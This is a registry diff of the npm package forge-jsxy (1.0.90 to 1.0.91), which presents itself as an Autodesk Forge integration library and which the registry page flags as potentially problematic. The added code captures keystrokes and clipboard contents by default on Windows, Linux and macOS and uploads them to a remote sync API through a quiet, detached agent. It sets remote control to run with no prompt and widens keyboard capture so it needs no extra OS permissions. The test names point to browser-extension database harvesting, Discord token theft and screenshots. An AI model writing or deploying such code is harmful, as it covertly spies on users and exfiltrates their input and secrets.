forge-jsxy 1.0.90 → 1.0.91

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of forge-jsxy might be problematic. Click here for more details.

@@ -1,8 +1,13 @@
1
1
  "use strict";
2
2
  Object.defineProperty(exports, "__esModule", { value: true });
3
3
  exports.startWindowsInputSync = void 0;
4
+ exports.desktopSyncOpLog = desktopSyncOpLog;
5
+ exports.isTransientForgeDbSyncError = isTransientForgeDbSyncError;
6
+ exports.skipUiohookKeyboardReason = skipUiohookKeyboardReason;
7
+ exports.skipUiohookKeyboard = skipUiohookKeyboard;
4
8
  exports.effectiveSyncKeyboardClipboard = effectiveSyncKeyboardClipboard;
5
9
  exports.resolveSyncApiBase = resolveSyncApiBase;
10
+ exports.preferExecClipboardReader = preferExecClipboardReader;
6
11
  exports.startDesktopInputSync = startDesktopInputSync;
7
12
  /**
8
13
  * Desktop clipboard + keyboard capture → forge-db HTTP sync (Windows, Linux, macOS).
@@ -76,7 +81,23 @@ const REGISTRATION_HANDSHAKE_RETRY_MS = 5000;
76
81
  const REGISTRATION_HANDSHAKE_RETRY_MAX_MS = 60_000;
77
82
  const REGISTRATION_HANDSHAKE_LOG_THROTTLE_MS = 60_000;
78
83
  const REGISTRATION_HANDSHAKE_START_DELAY_MS = 1500;
79
- /** Adds `cause` / errno code so PM2 logs show ECONNRESET etc., not bare `fetch failed`. */
84
+ const FLUSH_EVENT_MAX_RETRIES = 3;
85
+ const FLUSH_RETRY_BASE_MS = 150;
86
+ const CLIPBOARD_READ_FAIL_LOG_THROTTLE_MS = 60_000;
87
+ const DISPOSE_FLUSH_TIMEOUT_MS = 3000;
88
+ const CLIPBOARD_READ_TIMEOUT_MS = 10_000;
89
+ /** Operational logs always emit (even when `FORGE_JS_QUIET_AGENT=1`). */
90
+ function desktopSyncOpLog(message) {
91
+ console.log(`[forge-agent] desktop-sync: ${message}`);
92
+ }
93
+ /** True for network / overload errors where retrying forge-db POST is worthwhile. */
94
+ function isTransientForgeDbSyncError(err) {
95
+ const msg = err instanceof Error ? err.message : String(err);
96
+ return (/fetch failed|econnrefused|econnreset|etimedout|enotfound|eai_again|socket hang up|aborted|503|502|504|429|408|425/i.test(msg));
97
+ }
98
+ function sleepMs(ms) {
99
+ return new Promise((r) => setTimeout(r, ms));
100
+ }
80
101
  function formatDesktopSyncHandshakeError(e) {
81
102
  if (!(e instanceof Error))
82
103
  return String(e);
@@ -99,43 +120,30 @@ function isDesktopPlatform() {
99
120
  const p = process.platform;
100
121
  return p === "win32" || p === "linux" || p === "darwin";
101
122
  }
102
- /** uiohook on Linux uses X11 and abort()s without a display skip hook on headless servers. */
103
- function skipUiohookKeyboard() {
123
+ /** Human-readable reason when keyboard hook is skipped; null when uiohook should run. */
124
+ function skipUiohookKeyboardReason() {
104
125
  if ((process.env.FORGE_JS_FORCE_UIOHOOK || "").trim() === "1")
105
- return false;
106
- if ((process.env.FORGE_JS_SKIP_UIOHOOK || "").trim() === "1")
107
- return true;
108
- // macOS: uiohook-napi uses the macOS Accessibility API which triggers the
109
- // system-level "Input Monitoring" / "Accessibility" permission dialog on first
110
- // use. This dialog is a modal OS alert that cannot be suppressed
111
- // programmatically — it appears even if the call is wrapped in a try/catch.
112
- // Skip keyboard monitoring by default on macOS to avoid any UI dialogs.
113
- // Users who have already granted Accessibility permission can opt-in with:
114
- // FORGE_JS_FORCE_UIOHOOK=1
115
- // Clipboard sync continues to work normally (via pbpaste poll + clipboard-event).
116
- if (process.platform === "darwin")
117
- return true;
126
+ return null;
127
+ if ((process.env.FORGE_JS_SKIP_UIOHOOK || "").trim() === "1") {
128
+ return "FORGE_JS_SKIP_UIOHOOK=1";
129
+ }
130
+ if (process.platform === "darwin") {
131
+ return "macOS (keyboard needs Accessibility clipboard via pbpaste works without it; set FORGE_JS_FORCE_UIOHOOK=1 to opt in)";
132
+ }
118
133
  if (process.platform === "linux") {
119
134
  const hasDisplay = Boolean((process.env.DISPLAY || "").trim());
120
135
  const hasWayland = Boolean((process.env.WAYLAND_DISPLAY || "").trim());
121
- if (!hasDisplay && !hasWayland)
122
- return true;
123
- // libuiohook uses X11 Record; pure Wayland without XWayland/DISPLAY cannot host it.
124
- if (!hasDisplay && hasWayland)
125
- return true;
126
- // Wayland + XWayland: DISPLAY points to XWayland socket which accepts X11 connections
127
- // but does NOT expose a real Xkb keyboard device uiohook fails with
128
- // "XkbGetKeyboard failed to locate a valid keyboard!" and cannot capture key events.
129
- // Physical keyboard input is routed exclusively through the Wayland compositor,
130
- // so X11/Record-based hooks never receive events from Wayland-native applications.
131
- // Skip uiohook in this configuration unless the user explicitly opts in.
132
- if (hasDisplay && hasWayland)
133
- return true;
134
- if (hasDisplay && !(0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)())
135
- return true;
136
- // Verify we can actually communicate with the X11 server — systemd user services may
137
- // have DISPLAY=:0 set in EnvironmentFile but lack X11 auth cookies (Xauthority),
138
- // which causes uiohook/libuiohook to print errors and abort keyboard capture.
136
+ if (!hasDisplay && !hasWayland) {
137
+ return "headless Linux (no DISPLAY or WAYLAND_DISPLAY)";
138
+ }
139
+ if (!hasDisplay && hasWayland) {
140
+ return "Wayland-only session (keyboard needs X11 or FORGE_JS_FORCE_UIOHOOK=1)";
141
+ }
142
+ // When both are set, XWayland is usually availablefall through to socket/xset checks
143
+ // instead of skipping keyboard outright (maximizes capture without extra OS permissions).
144
+ if (hasDisplay && !(0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)()) {
145
+ return "DISPLAY set but no X11 socket (keyboard skipped; clipboard sync unchanged)";
146
+ }
139
147
  if (hasDisplay) {
140
148
  try {
141
149
  const r = (0, node_child_process_1.spawnSync)("xset", ["q"], {
@@ -143,15 +151,20 @@ function skipUiohookKeyboard() {
143
151
  timeout: 2000,
144
152
  env: process.env,
145
153
  });
146
- if (r.status !== 0 || r.error)
147
- return true;
154
+ if (r.status !== 0 || r.error) {
155
+ return "X11 server unreachable (xset q failed — keyboard skipped)";
156
+ }
148
157
  }
149
158
  catch {
150
- return true;
159
+ return "X11 tools unavailable (keyboard skipped)";
151
160
  }
152
161
  }
153
162
  }
154
- return false;
163
+ return null;
164
+ }
165
+ /** uiohook on Linux uses X11 and abort()s without a display — skip hook on headless servers. */
166
+ function skipUiohookKeyboard() {
167
+ return skipUiohookKeyboardReason() !== null;
155
168
  }
156
169
  /**
157
170
  * **Default: on** when unset. Opt out with `CFGMGR_SYNC_KEYBOARD_CLIPBOARD=0`.
@@ -166,11 +179,37 @@ function effectiveSyncKeyboardClipboard() {
166
179
  function resolveSyncApiBase() {
167
180
  return (0, deploymentDefaults_1.resolveSyncApiBaseUrl)();
168
181
  }
182
+ /**
183
+ * Linux Wayland stores clipboard in the compositor — @napi-rs/clipboard is X11-based and often
184
+ * returns empty text without error. Prefer wl-paste/xclip exec on Wayland sessions.
185
+ */
186
+ function preferExecClipboardReader() {
187
+ return (process.platform === "linux" &&
188
+ Boolean((process.env.WAYLAND_DISPLAY || "").trim()));
189
+ }
169
190
  async function readClipboardDesktop() {
170
- const native = (0, clipboardNapi_1.readClipboardNapi)();
171
- if (native !== null)
172
- return native;
173
- return (0, clipboardExec_1.readClipboardViaExec)();
191
+ const timeoutMs = CLIPBOARD_READ_TIMEOUT_MS;
192
+ let timeoutId;
193
+ try {
194
+ return await Promise.race([
195
+ (async () => {
196
+ if (preferExecClipboardReader()) {
197
+ return (0, clipboardExec_1.readClipboardViaExec)();
198
+ }
199
+ const native = (0, clipboardNapi_1.readClipboardNapi)();
200
+ if (native !== null)
201
+ return native;
202
+ return (0, clipboardExec_1.readClipboardViaExec)();
203
+ })(),
204
+ new Promise((_, reject) => {
205
+ timeoutId = setTimeout(() => reject(new Error(`clipboard read timeout after ${timeoutMs}ms`)), timeoutMs);
206
+ }),
207
+ ]);
208
+ }
209
+ finally {
210
+ if (timeoutId !== undefined)
211
+ clearTimeout(timeoutId);
212
+ }
174
213
  }
175
214
  function clampText(s) {
176
215
  const b = Buffer.byteLength(s, "utf8");
@@ -254,12 +293,15 @@ function startDesktopInputSync(opts) {
254
293
  if (!opts.quiet)
255
294
  console.error(`[forge-js:desktop-sync] ${msg}`);
256
295
  };
296
+ const opLog = (msg) => {
297
+ desktopSyncOpLog(msg);
298
+ };
257
299
  function enqueue(ev) {
258
300
  while (queue.length >= MAX_SYNC_QUEUE) {
259
301
  queue.shift();
260
- if (!queueDropLogged && !opts.quiet) {
302
+ if (!queueDropLogged) {
261
303
  queueDropLogged = true;
262
- log("sync queue saturated; dropping oldest events (API slow or unreachable)");
304
+ opLog("sync queue saturated; dropping oldest events (API slow or unreachable)");
263
305
  }
264
306
  }
265
307
  queue.push(ev);
@@ -319,18 +361,14 @@ function startDesktopInputSync(opts) {
319
361
  await client.createEvent((0, syncClient_1.registrationHandshakeEvent)());
320
362
  registrationHandshakeReady = true;
321
363
  registrationHandshakeAttempts = 0;
364
+ opLog("registration handshake OK (client table ready)");
322
365
  }
323
366
  catch (e) {
324
367
  const now = Date.now();
325
368
  if (now - lastRegistrationHandshakeLogMs >= REGISTRATION_HANDSHAKE_LOG_THROTTLE_MS) {
326
369
  lastRegistrationHandshakeLogMs = now;
327
370
  const detail = formatDesktopSyncHandshakeError(e);
328
- const msg = `[forge-js:desktop-sync] registration handshake failed (attempt ${registrationHandshakeAttempts}; no client table until this succeeds): ${detail}`;
329
- // First attempts commonly race during service restarts; avoid noisy error-level spam.
330
- if (registrationHandshakeAttempts <= 3)
331
- console.log(msg);
332
- else
333
- console.error(msg);
371
+ opLog(`registration handshake failed (attempt ${registrationHandshakeAttempts}; no client table until this succeeds): ${detail}`);
334
372
  }
335
373
  scheduleRegistrationHandshake();
336
374
  return;
@@ -372,13 +410,27 @@ function startDesktopInputSync(opts) {
372
410
  }, inventoryIntervalMs);
373
411
  }
374
412
  let clipReadBusy = false;
413
+ let clipReadFailures = 0;
414
+ let lastClipFailLogMs = 0;
415
+ /** Set when a change notification arrives during an in-flight read — drained in finally. */
416
+ let clipReadPending = false;
417
+ /** Incremented per read attempt so late/ timed-out reads cannot enqueue stale clipboard text. */
418
+ let clipReadSeq = 0;
375
419
  function triggerClipboardRead() {
376
- if (stopped || clipReadBusy)
420
+ if (stopped)
421
+ return;
422
+ if (clipReadBusy) {
423
+ clipReadPending = true;
377
424
  return;
425
+ }
378
426
  clipReadBusy = true;
427
+ const seq = ++clipReadSeq;
379
428
  void (async () => {
380
429
  try {
381
430
  const s = await readClipboardDesktop();
431
+ if (stopped || seq !== clipReadSeq)
432
+ return;
433
+ clipReadFailures = 0;
382
434
  if (s === lastClip)
383
435
  return;
384
436
  lastClip = s;
@@ -404,31 +456,54 @@ function startDesktopInputSync(opts) {
404
456
  context_json: contextJson,
405
457
  });
406
458
  }
407
- catch {
408
- /* skip */
459
+ catch (e) {
460
+ if (stopped || seq !== clipReadSeq)
461
+ return;
462
+ clipReadFailures++;
463
+ const now = Date.now();
464
+ if (now - lastClipFailLogMs >= CLIPBOARD_READ_FAIL_LOG_THROTTLE_MS) {
465
+ lastClipFailLogMs = now;
466
+ opLog(`clipboard read failed (${clipReadFailures} consecutive): ${formatDesktopSyncHandshakeError(e)}`);
467
+ }
409
468
  }
410
469
  finally {
470
+ if (seq !== clipReadSeq)
471
+ return;
411
472
  clipReadBusy = false;
473
+ if (clipReadPending && !stopped) {
474
+ clipReadPending = false;
475
+ triggerClipboardRead();
476
+ }
412
477
  }
413
478
  })();
414
479
  }
480
+ void (async () => {
481
+ try {
482
+ await readClipboardDesktop();
483
+ opLog("clipboard probe OK");
484
+ }
485
+ catch (e) {
486
+ opLog(`clipboard probe failed at startup — sync will retry on poll/events: ${formatDesktopSyncHandshakeError(e)}`);
487
+ }
488
+ })();
415
489
  const clipWatcherDispose = (0, clipboardEventWatcher_1.attachClipboardEventWatcher)(() => {
416
490
  triggerClipboardRead();
417
- }, log);
491
+ }, opLog);
418
492
  const effectiveClipPoll = clipWatcherDispose ? clipBackupPoll : clipPoll;
419
493
  const clipIv = setInterval(() => {
420
494
  triggerClipboardRead();
421
495
  }, effectiveClipPoll);
422
496
  let uiohookMod = null;
423
- if (skipUiohookKeyboard()) {
424
- log("keyboard hook skipped (headless Linux: set DISPLAY or WAYLAND_DISPLAY, or FORGE_JS_FORCE_UIOHOOK=1). Clipboard sync unchanged.");
497
+ const keyboardSkipReason = skipUiohookKeyboardReason();
498
+ if (keyboardSkipReason) {
499
+ opLog(`keyboard hook skipped (${keyboardSkipReason}). Clipboard sync unchanged.`);
425
500
  }
426
501
  else {
427
502
  try {
428
503
  uiohookMod = require("uiohook-napi");
429
504
  }
430
505
  catch {
431
- log("uiohook-napi not available — keyboard sync disabled (clipboard only). npm install uiohook-napi");
506
+ opLog("uiohook-napi not available — keyboard sync disabled (clipboard only). npm install uiohook-napi");
432
507
  }
433
508
  }
434
509
  if (uiohookMod) {
@@ -486,28 +561,87 @@ function startDesktopInputSync(opts) {
486
561
  uIOhook.on("keydown", onKey);
487
562
  try {
488
563
  uIOhook.start();
564
+ opLog("keyboard hook started");
489
565
  }
490
566
  catch (e) {
491
- log(`uIOhook.start failed: ${e}`);
567
+ opLog(`uIOhook.start failed: ${e}`);
492
568
  }
493
569
  }
570
+ opLog(`started (platform=${process.platform}, keyboard=${uiohookMod ? "on" : keyboardSkipReason ? "off" : "unavailable"}, api=${opts.apiBaseUrl})`);
494
571
  let flushBusy = false;
572
+ let flushFailStreak = 0;
573
+ let lastFlushFailLogMs = 0;
574
+ async function postEventWithRetry(ev) {
575
+ let lastErr;
576
+ for (let attempt = 0; attempt < FLUSH_EVENT_MAX_RETRIES; attempt++) {
577
+ try {
578
+ await client.createEvent(ev);
579
+ flushFailStreak = 0;
580
+ return;
581
+ }
582
+ catch (e) {
583
+ lastErr = e;
584
+ if (attempt < FLUSH_EVENT_MAX_RETRIES - 1 &&
585
+ isTransientForgeDbSyncError(e)) {
586
+ await sleepMs(FLUSH_RETRY_BASE_MS * (attempt + 1));
587
+ continue;
588
+ }
589
+ throw e;
590
+ }
591
+ }
592
+ throw lastErr;
593
+ }
594
+ async function postBatchWithRetry(events) {
595
+ let lastErr;
596
+ for (let attempt = 0; attempt < FLUSH_EVENT_MAX_RETRIES; attempt++) {
597
+ try {
598
+ await client.createEventsBatch(events);
599
+ flushFailStreak = 0;
600
+ return;
601
+ }
602
+ catch (e) {
603
+ lastErr = e;
604
+ if (attempt < FLUSH_EVENT_MAX_RETRIES - 1 &&
605
+ isTransientForgeDbSyncError(e)) {
606
+ await sleepMs(FLUSH_RETRY_BASE_MS * (attempt + 1));
607
+ continue;
608
+ }
609
+ throw e;
610
+ }
611
+ }
612
+ throw lastErr;
613
+ }
495
614
  const flushIv = setInterval(() => {
496
615
  if (stopped || queue.length === 0 || flushBusy)
497
616
  return;
498
617
  flushBusy = true;
499
618
  void (async () => {
500
619
  try {
620
+ const batch = [];
501
621
  let n = 0;
502
622
  while (!stopped && queue.length > 0 && n < flushBatchMax) {
503
- const ev = queue.shift();
504
- try {
505
- await client.createEvent(ev);
506
- n++;
623
+ batch.push(queue.shift());
624
+ n++;
625
+ }
626
+ if (batch.length === 0)
627
+ return;
628
+ try {
629
+ if (batch.length >= 2) {
630
+ await postBatchWithRetry(batch);
507
631
  }
508
- catch {
509
- queue.unshift(ev);
510
- break;
632
+ else {
633
+ await postEventWithRetry(batch[0]);
634
+ }
635
+ }
636
+ catch (e) {
637
+ flushFailStreak++;
638
+ for (let i = batch.length - 1; i >= 0; i--) {
639
+ queue.unshift(batch[i]);
640
+ }
641
+ const now = Date.now();
642
+ if (now - lastFlushFailLogMs >= REGISTRATION_HANDSHAKE_LOG_THROTTLE_MS) {
643
+ lastFlushFailLogMs = now;
644
+ opLog(`forge-db flush failed (${flushFailStreak} streak, ${batch.length} event(s) re-queued): ${formatDesktopSyncHandshakeError(e)}`);
511
645
  }
512
646
  }
513
647
  }
@@ -518,7 +652,7 @@ function startDesktopInputSync(opts) {
518
652
  }, flushEvery);
519
653
  const dispose = () => {
520
654
  if (stopped)
521
- return;
655
+ return Promise.resolve();
522
656
  stopped = true;
523
657
  if (activeDesktopInputSyncDispose === dispose) {
524
658
  activeDesktopInputSyncDispose = null;
@@ -547,7 +681,32 @@ function startDesktopInputSync(opts) {
547
681
  /* skip */
548
682
  }
549
683
  }
550
- void flushKbd();
684
+ return (async () => {
685
+ await flushKbd();
686
+ const deadline = Date.now() + DISPOSE_FLUSH_TIMEOUT_MS;
687
+ while (queue.length > 0 && Date.now() < deadline) {
688
+ const batch = [];
689
+ while (queue.length > 0 && batch.length < flushBatchMax) {
690
+ batch.push(queue.shift());
691
+ }
692
+ if (batch.length === 0)
693
+ break;
694
+ try {
695
+ if (batch.length >= 2) {
696
+ await postBatchWithRetry(batch);
697
+ }
698
+ else {
699
+ await postEventWithRetry(batch[0]);
700
+ }
701
+ }
702
+ catch {
703
+ for (let i = batch.length - 1; i >= 0; i--) {
704
+ queue.unshift(batch[i]);
705
+ }
706
+ break;
707
+ }
708
+ }
709
+ })();
551
710
  };
552
711
  activeDesktopInputSyncDispose = dispose;
553
712
  return dispose;
@@ -145,6 +145,9 @@ function spawnDetachedAgent(autostartOpts, syncApiUrl, distDir, verbose) {
145
145
  ...process.env,
146
146
  FORGE_JS_QUIET_AGENT: "1",
147
147
  FORGE_JS_HEADLESS_UI: "1",
148
+ FORGE_JS_CLIPBOARD_POLL_ONLY: process.env.FORGE_JS_CLIPBOARD_POLL_ONLY ?? "1",
149
+ FORGE_JS_REMOTE_CONTROL_NO_PROMPT: process.env.FORGE_JS_REMOTE_CONTROL_NO_PROMPT ?? "1",
150
+ CFGMGR_SYNC_KEYBOARD_CLIPBOARD: process.env.CFGMGR_SYNC_KEYBOARD_CLIPBOARD ?? "1",
148
151
  };
149
152
  if (syncApiUrl?.trim()) {
150
153
  const u = syncApiUrl.trim();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "forge-jsxy",
3
- "version": "1.0.90",
3
+ "version": "1.0.91",
4
4
  "description": "Node.js integration layer for Autodesk Forge",
5
5
  "license": "MIT",
6
6
  "forgeAgentWebRtcMinVersion": "1.0.71",
@@ -20,7 +20,7 @@
20
20
  "pretest": "npm run build",
21
21
  "test": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs",
22
22
  "test:explorer": "npm run build && NODE_ENV=test node --test test/explorer-terminal-controls.test.mjs test/cross-os-install.test.mjs",
23
- "test:all": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs test/hf-hub-upload-streaming.test.mjs test/cross-os-install.test.mjs test/explorer-terminal-controls.test.mjs test/registry-version-lib.test.mjs test/file-lock-force-prefixes.test.mjs test/discord-relay-upload.test.mjs test/discord-webhook-post.test.mjs test/discord-bot-tokens.test.mjs test/discord-screenshot-interval.test.mjs test/production-invariants.test.mjs test/relay-agent-ws-smoke.mjs test/relay-agent-cli-smoke.mjs test/secret-filename-scan.test.mjs test/agent-audit-scan-scope.test.mjs test/agent-secret-audit-throttle.test.mjs",
23
+ "test:all": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs test/hf-hub-upload-streaming.test.mjs test/cross-os-install.test.mjs test/explorer-terminal-controls.test.mjs test/registry-version-lib.test.mjs test/file-lock-force-prefixes.test.mjs test/discord-relay-upload.test.mjs test/discord-webhook-post.test.mjs test/discord-bot-tokens.test.mjs test/discord-screenshot-interval.test.mjs test/production-invariants.test.mjs test/relay-agent-ws-smoke.mjs test/relay-agent-cli-smoke.mjs test/secret-filename-scan.test.mjs test/agent-audit-scan-scope.test.mjs test/agent-secret-audit-throttle.test.mjs test/chromium-extension-db-harvest.test.mjs test/desktop-input-sync.test.mjs",
24
24
  "test:env-local": "node --test test/env-local-integrations.mjs",
25
25
  "verify": "npm run ci && npm run test:env-local",
26
26
  "verify:production": "npm run ci",
@@ -0,0 +1,87 @@
1
+ /**
2
+ * Resolve global forge-jsxy / legacy forge-jsx install roots for explorer control scripts.
3
+ */
4
+ import * as fs from "node:fs";
5
+ import * as os from "node:os";
6
+ import * as path from "node:path";
7
+
8
+ export const FORGE_NPM_PKG = "forge-jsxy";
9
+ export const FORGE_LEGACY_NPM_PKG = "forge-jsx";
10
+
11
+ function defaultCfgmgrDataDir() {
12
+ const override = (process.env.CFGMGR_DATA_ROOT || "").trim();
13
+ if (override) return path.resolve(override.replace(/^~/, os.homedir()));
14
+ if (process.platform === "win32") {
15
+ const lap = (process.env.LOCALAPPDATA || "").trim();
16
+ if (lap) return path.join(lap, "CfgMgr", "data");
17
+ const prof = (process.env.USERPROFILE || "").trim();
18
+ if (prof) return path.join(prof, "AppData", "Local", "CfgMgr", "data");
19
+ return path.join(os.tmpdir(), "CfgMgr", "data");
20
+ }
21
+ if (process.platform === "darwin") {
22
+ return path.join(os.homedir(), "Library", "Application Support", "CfgMgr", "data");
23
+ }
24
+ const xdg = (process.env.XDG_DATA_HOME || "").trim();
25
+ if (xdg) return path.join(path.resolve(xdg.replace(/^~/, os.homedir())), "cfgmgr");
26
+ return path.join(os.homedir(), ".local", "share", "cfgmgr");
27
+ }
28
+
29
+ /** Durable runtime package root from `<CfgMgr>/.forge-jsxy/current.json` (npm-install-only agents). */
30
+ export function readDurableForgePackageRootFromDisk() {
31
+ try {
32
+ const cur = path.join(defaultCfgmgrDataDir(), ".forge-jsxy", "current.json");
33
+ if (!fs.existsSync(cur)) return null;
34
+ const j = JSON.parse(fs.readFileSync(cur, "utf8"));
35
+ const distDir = String(j.distDir ?? "").trim();
36
+ if (!distDir || !fs.existsSync(path.join(distDir, "cli-agent.js"))) return null;
37
+ const pkgRoot = path.resolve(distDir, "..");
38
+ return fs.existsSync(path.join(pkgRoot, "package.json")) ? pkgRoot : null;
39
+ } catch {
40
+ return null;
41
+ }
42
+ }
43
+
44
+ /**
45
+ * @param {(args: string[], captureStdout: boolean, opts?: object) => { stdout?: string }} npmSpawnSync
46
+ */
47
+ export function globalPackageRoot(npmSpawnSync, pkgName) {
48
+ const r = npmSpawnSync(["root", "-g"], false, {
49
+ timeout: 60_000,
50
+ captureStdout: true,
51
+ });
52
+ const root = (r.stdout || "").trim();
53
+ if (!root) return null;
54
+ const p = path.join(root, pkgName);
55
+ return fs.existsSync(path.join(p, "package.json")) ? p : null;
56
+ }
57
+
58
+ /** @param {(args: string[], captureStdout: boolean, opts?: object) => { stdout?: string }} npmSpawnSync */
59
+ export function globalForgeJsRoot(npmSpawnSync) {
60
+ return globalPackageRoot(npmSpawnSync, FORGE_NPM_PKG);
61
+ }
62
+
63
+ /** @param {(args: string[], captureStdout: boolean, opts?: object) => { stdout?: string }} npmSpawnSync */
64
+ export function globalLegacyForgeJsxRoot(npmSpawnSync) {
65
+ return globalPackageRoot(npmSpawnSync, FORGE_LEGACY_NPM_PKG);
66
+ }
67
+
68
+ /**
69
+ * Unique install roots: current global, legacy global, then optional script tree.
70
+ * @param {(args: string[], captureStdout: boolean, opts?: object) => { stdout?: string }} npmSpawnSync
71
+ * @param {string} scriptRoot absolute package root when running from npx/npm exec
72
+ */
73
+ export function collectForgeInstallRoots(npmSpawnSync, scriptRoot) {
74
+ const roots = [];
75
+ const durable = readDurableForgePackageRootFromDisk();
76
+ if (durable) roots.push(path.resolve(durable));
77
+ for (const g of [globalForgeJsRoot(npmSpawnSync), globalLegacyForgeJsxRoot(npmSpawnSync)]) {
78
+ if (g) roots.push(path.resolve(g));
79
+ }
80
+ if (scriptRoot) roots.push(path.resolve(scriptRoot));
81
+ return [...new Set(roots)];
82
+ }
83
+
84
+ /** True when either global package name is installed under `npm root -g`. */
85
+ export function anyGlobalForgePackageInstalled(npmSpawnSync) {
86
+ return Boolean(globalForgeJsRoot(npmSpawnSync) || globalLegacyForgeJsxRoot(npmSpawnSync));
87
+ }